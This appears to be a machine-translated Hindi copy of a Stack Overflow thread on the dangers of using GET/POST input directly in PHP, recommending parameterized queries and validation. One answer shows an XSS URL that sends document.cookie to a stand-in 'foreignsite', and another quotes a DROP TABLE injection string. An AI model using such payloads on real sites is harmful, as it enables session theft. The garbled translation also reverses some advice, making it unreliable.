मैं जानना चाहता हूं कि जीईटी और POST चर का उपयोग करते समय कमजोरियों क्या हैं। यानी बाहर trimming और addlashes समारोह और mysql भागने स्ट्रिंग के साथ कुछ ऐसा।जीईटी और पोस्ट के प्रत्यक्ष उपयोग में कमजोरियां क्या हैं?
मेरे प्रश्न
और क्या हम पाते हैं और पोस्ट के साथ खेलते हुए की देखभाल की जरूरत है।
एसक्यूएल इंजेक्शन की तरह किस प्रकार के हमले हैं?
सामान्य तौर पर, और नहीं प्राप्त करने के लिए सीमित है और पोस्ट लेकिन यह भी के लिए किसी भी डेटा आता है कि सिस्टम के बाहर से (वेब अनुप्रयोगों के मामले में कुकीज़ सहित):
लगभग सभी भेद्यताएं नीचे आती हैं "उपयोगकर्ता आपके इनपुट को पास करने वाले संदर्भ में जो भी कोड पसंद करते हैं उसे चला सकते हैं"।
आपको डेटा के साथ क्या कर रहे हैं इसके बारे में सोचना होगा। संभावित चीजों की एक सूची की तलाश करना जो दुनिया में किसी भी प्रणाली में दबाने वाले इनपुट को स्वीकार करते समय गलत हो सकते हैं, एक विस्तृत सूची नहीं दे पाएंगे।
और एक तरफ के रूप में: जोड़ों को भूलें (यह प्रभावी नहीं है), mysql_real_escape भूल जाएं (इसके साथ गलती करना बहुत आसान है)। पैरामीटरयुक्त प्रश्नों का प्रयोग करें: How can I prevent SQL injection in PHP?
+1। बस, पोस्ट और कुकीज़ प्राप्त न करें। यहां तक कि एक संदर्भकर्ता भी आपको परेशानी में डाल सकता है: http://www.hanselman.com/blog/BackToBasicsTrustNothingAsUserInputComesFromAllOver.aspx –
मुख्य रूप से CSRF, XSS और निर्देशिका ट्रावर्सल:
http://en.wikipedia.org/wiki/Cross-site_request_forgery
यदि आप किसी भी प्रकार के फ़िल्टर के माध्यम से इसे पास किए बिना किसी भी जीईटी या POST चर लेते हैं और प्रभावी ढंग से "निष्पादित" करते हैं, तो आप इंजेक्शन हमलों के लिए स्वयं को खोल रहे हैं। एसक्यूएल इंजेक्शन स्पष्ट रूप से एक बहुत ही आम मामला है, लेकिन यदि आप उस डेटा के साथ किसी भी प्रकार के eval() कर रहे हैं (प्रोग्रामिंग भाषा में, या किसी अन्य डेटाबेस या व्याख्या की स्थिति में - क्लाइंट पर व्याख्या करने के लिए ब्राउज़र पर वापस HTML सहित) तो ज्ञात हमलावर इनपुट डेटा तैयार कर सकते हैं जो आपके एप्लिकेशन को ऐसी चीजें कर देगा जो अनपेक्षित हैं।
यह सिर्फ "प्राप्त करें" या "पोस्ट" से थोड़ा अधिक है। यह उन सभी प्रोग्रामिंग पर निर्भर है जो आपने उन्हें समर्थन देने के लिए किया है। यदि आप केवल एक स्थिर एचटीएमएल पेज की सेवा कर रहे हैं, न कि बहुत सारी भेद्यताएं। यदि दूसरी ओर, आप अनुरोध प्राप्त करने के माध्यम से डेटा को सेट और संशोधित कर रहे हैं, तो भेद्यता अंतहीन हो सकती है, बस Google बॉट के मामलों को उन चीज़ों से डेटा मिटाकर देखें जो चीजों को सबमिट करने के लिए 'प्राप्त' करते थे।
यह सब इस बात पर निर्भर करता है कि आप किस डेटा का उपयोग कर रहे हैं, और vulnerabilites को पाने या सेट करने के लिए प्रतिबंधित हैं। अपने इनपुट को स्वच्छ करें। सोशल इंजीनियरिंग
का एक छोटा सा के साथ
सबसे आसान संभव XSS हमले मान लीजिए आप एक सरल PHP आवेदन, उपयोगकर्ताओं को ट्रैक करने के लिए सत्र का उपयोग करता है की सुविधा देता है। और इसमें किसी प्रकार का व्यवस्थापक इंटरफ़ेस है, जहां उच्च विशेषाधिकार वाले उपयोगकर्ता संपादन सामग्री कह सकते हैं।
और, की सुविधा देता है लगता है कि आप उस साइट के व्यवस्थापक के रूप में लॉग इन किया है और वहाँ है कि आवेदन के अंदर एक फ़ाइल request.php है कि, कोड का निम्न भाग
echo $GET['action'];
और अब किसी को इस का पता चलता है के साथ इस यूआरएल http://yourapp/request.php?action= document.location.href = 'http://foreignsite?c=' + document.cookie
तो है कि किसी tinyurl.com को यह यूआरएल है, जो यह http://tinyurl.com/x44534 की तरह कुछ करने के लिए छोटा कर कहते हैं, तो वह आपको भेजे जाने वाला एक ई-मेल का निर्माण , "हे, यह देखो, आप मुझे यह उपयोगी लगता है"।
आप लिंक पर क्लिक करते हैं, tinyurl.com छोटे यूआरएल को लंबे समय तक अनुवाद करता है, आपके ब्राउज़र को इसके लिए रीडायरेक्ट करता है, आपका request.php खुशी से जावास्क्रिप्ट को क्वेरी से आउटपुट करता है, आपका ब्राउज़र इसे देखता है, इसे निष्पादित करता है और एक के रूप में नतीजतन, http://foreignsite चलाता है जो व्यक्ति आपकी सभी कुकीज़ प्राप्त करता है।
फिर उसे केवल उन कुकी मूल्यों को अपने ब्राउज़र में डालने की आवश्यकता है, और वॉयला, उनके पास आपकी साइट एडमिन इंटरफ़ेस तक तुरंत पहुंच है। क्योंकि उसे आपकी सत्र कुकी मिल गई थी।
यह सबसे आसान संभव एक्सएसएस हमले का वर्णन करता है, यह वास्तव में सरल है, शायद वास्तविक जीवन में काम नहीं करेगा, लेकिन उम्मीद है कि आपको मूलभूत विचार मिल गया है कि यह कैसे काम करता है।
हम्म, ठीक है, एसओ ने स्क्रिप्ट टैग को एक्सएसएस सुरक्षा उपाय के रूप में लिया :) वैसे भी, कार्रवाई का मूल्य पैरामीटर स्क्रिप्ट टैग से घिरा होना चाहिए, तो यह अधिक समझ में आता है। –
प्राप्त करें और पोस्ट डेटा डेटा से सीधे भेजा गया डेटा है। आप इसे कच्चे पाते हैं, उपयोगकर्ता और आपके कार्यक्रम के बीच कोई चेक या सत्यापन नहीं। यहां तक कि यदि आप उस डेटा को सत्यापित करना चाहते हैं जो डेटा को जन्म दे, तो हमलावर मैन्युअल रूप से जो भी डेटा चाहता है उसके साथ अनुरोध तैयार कर सकता है। तो आपको हमेशा अनुरोध डेटा को अविश्वसनीय उपयोगकर्ता इनपुट के रूप में मानना चाहिए।
ऐसे कई हमले हैं जो कोडर पर भरोसा करते हैं कि अनुरोध डेटा अविश्वसनीय है, लेकिन सबसे प्रसिद्ध एसक्यूएल इंजेक्शन है। एसक्यूएल इंजेक्शन का मूल कारण तारों को मैन्युअल रूप से संयोजित करके एक क्वेरी बना रहा है, जिनमें से कुछ अविश्वसनीय उपयोगकर्ता इनपुट हैं। इसका मतलब है कि आप अविश्वसनीय उपयोगकर्ता इनपुट निष्पादित करने के लिए अपने डेटाबेस को बता रहे हैं।
एसक्यूएल इंजेक्शन के लिए बेवकूफ समाधान इनपुट को मान्य करना है और फिर उन्हें एक क्वेरी स्ट्रिंग में जोड़ना है, लेकिन यह भी खराब रूप है। स्ट्रिंग को सुरक्षित बनाने के लिए आप अपने सत्यापन तर्क पर भरोसा कर रहे हैं, और यदि आप इसका दुरुपयोग करते हैं - या तर्क छोटी है - तो आप एक बार फिर हमलों के संपर्क में आ जाते हैं।
सही समाधान आपके क्वेरी को उस डेटा से अलग करना है जिसमें वह शामिल है। वस्तुतः सभी डेटाबेस एडेप्टर इस दृष्टिकोण का समर्थन करते हैं, और यदि आपका कोई कारण नहीं है, तो यह उपयोग के लिए उपयुक्त नहीं है। सबसे आम मुहावरे (किसी विशेष भाषा में नहीं):
myDB.query ("सामग्री से चुनें * आईडी =?", [42]);
यह गारंटी देगा (ऐसी प्रणाली में) कि पैरामीटर निष्पादित नहीं किए जाते हैं। क्वेरी स्ट्रिंग पूरी तरह से भरोसेमंद डेटा से बनाई गई है, जबकि अविश्वसनीय डेटा अलग हो गया है।सबसे बुरी स्थिति में, अनुचित इनपुट पर लागू इस दृष्टिकोण के परिणामस्वरूप गलत डेटा हो सकता है, गलत आदेश नहीं।
एसक्यूएल इंजेक्शन से बचने के लिए यह दृष्टिकोण केंद्रीय सिद्धांत को हाइलाइट करता है जो सभी प्रकार के अनुरोध डेटा हमलों पर लागू होता है: अनुरोध डेटा आपका नहीं है और यह सुरक्षित नहीं है। अनुरोध डेटा सहित किसी भी उपयोगकर्ता इनपुट को संभालने पर, हमेशा यह मान लें कि यह आपके सिस्टम के अंतरंग ज्ञान के साथ हमलावर से निकल रहा है। यह पागल लग सकता है, लेकिन यह आपको सुरक्षित रखता है।
जैसा कि लोगों ने पहले ही लिखा है, किसी भी और सभी उपयोगकर्ता इनपुट को दुर्भावनापूर्ण के रूप में माना जाना चाहिए, भले ही आप कितना सुरक्षित महसूस कर सकें।
डेवलपर उस समय कोड को सुरक्षित करने के बारे में सोचते हैं जब वे इसे लिख रहे हैं, और जब वे संशोधन कर रहे हैं, जबकि हैकर्स उस कोड को गड़बड़ करने के बारे में सोचते हैं जब भी वे उस पर एक दरार करने का फैसला करते हैं जो आज, कल या हो सकता है दो साल। जब कोड लिखा गया था तो उस समय पूरी तरह से सुरक्षित लग सकता था जो बाद के बिंदु पर शोषक हो सकता है।
असल में, सभी इनपुट को किसी भी समय किसी भी समय उपयोग किए जाने के बावजूद धार्मिक रूप से फ़िल्टर, जांच और स्वच्छता दी जानी चाहिए। कोई उपयोगकर्ता इनपुट के टुकड़े को स्वच्छ करने पर छोड़ सकता है क्योंकि "यह किसी भी चीज के लिए उपयोग नहीं किया जा सकता है जो नुकसान पहुंचा सकता है", फिर लाइन के नीचे 11 महीने, टीम के किसी व्यक्ति ने अनुमानित रूप से स्वच्छता वाले डेटा का उपयोग करने का फैसला किया, जिसे एक चर, एक एसक्यूएल क्वेरी या सिस्टम एक्जिक कॉल में और पूरी प्रणाली उड़ाती है।
क्या किया जाना चाहिए:
श्वेत सूची के बजाय काली सूची में डालने की - तदनुसार पता है कि इनपुट प्रकार आप उम्मीद कर रहे हैं और उपयोगकर्ता डेटा परिवर्तित, आईडी आमतौर पर पूर्णांकों तो यह कास्ट करने के लिए सभी उपयोगकर्ता पूर्णांक के रूप में प्रस्तुत आईडी सुरक्षित है कर रहे हैं। - पता है कि आप छोटी मात्रा में डेटा की अपेक्षा कर रहे हैं, और जब आप बड़ी उम्मीद कर रहे हैं। व्यक्तिगत नाम आमतौर पर अपेक्षाकृत कम होते हैं और उनमें अंक नहीं होते हैं, "1"; ड्रोप टेबल ग्राहक; " असली नाम नहीं है और आप यह जान सकते हैं कि स्लेश जोड़ने के बिना।
फिर कुछ काली सूची में डाल सिर्फ मामले में - कि सभी डेटा अपने श्वेत सूची के माध्यम से किया है, सिर्फ मामले में
तो फिल्टर करने और जांच करने के लिए मानक से बचने के तर्क लागू कुछ और - जब तक आप सुरक्षित महसूस
सभी सुपरग्लोबल्स को उपयोगकर्ता एजेंटों द्वारा छेड़छाड़ की जा सकती है। $ _SERVER, $ _POST, $ _GET, आदि
सामान्य नियम "उपयोगकर्ता इनपुट पर भरोसा न करें" है। किसी भी रूप में उपयोगकर्ता से आने वाली कुछ भी सुरक्षा-जांच की आवश्यकता है। – Jess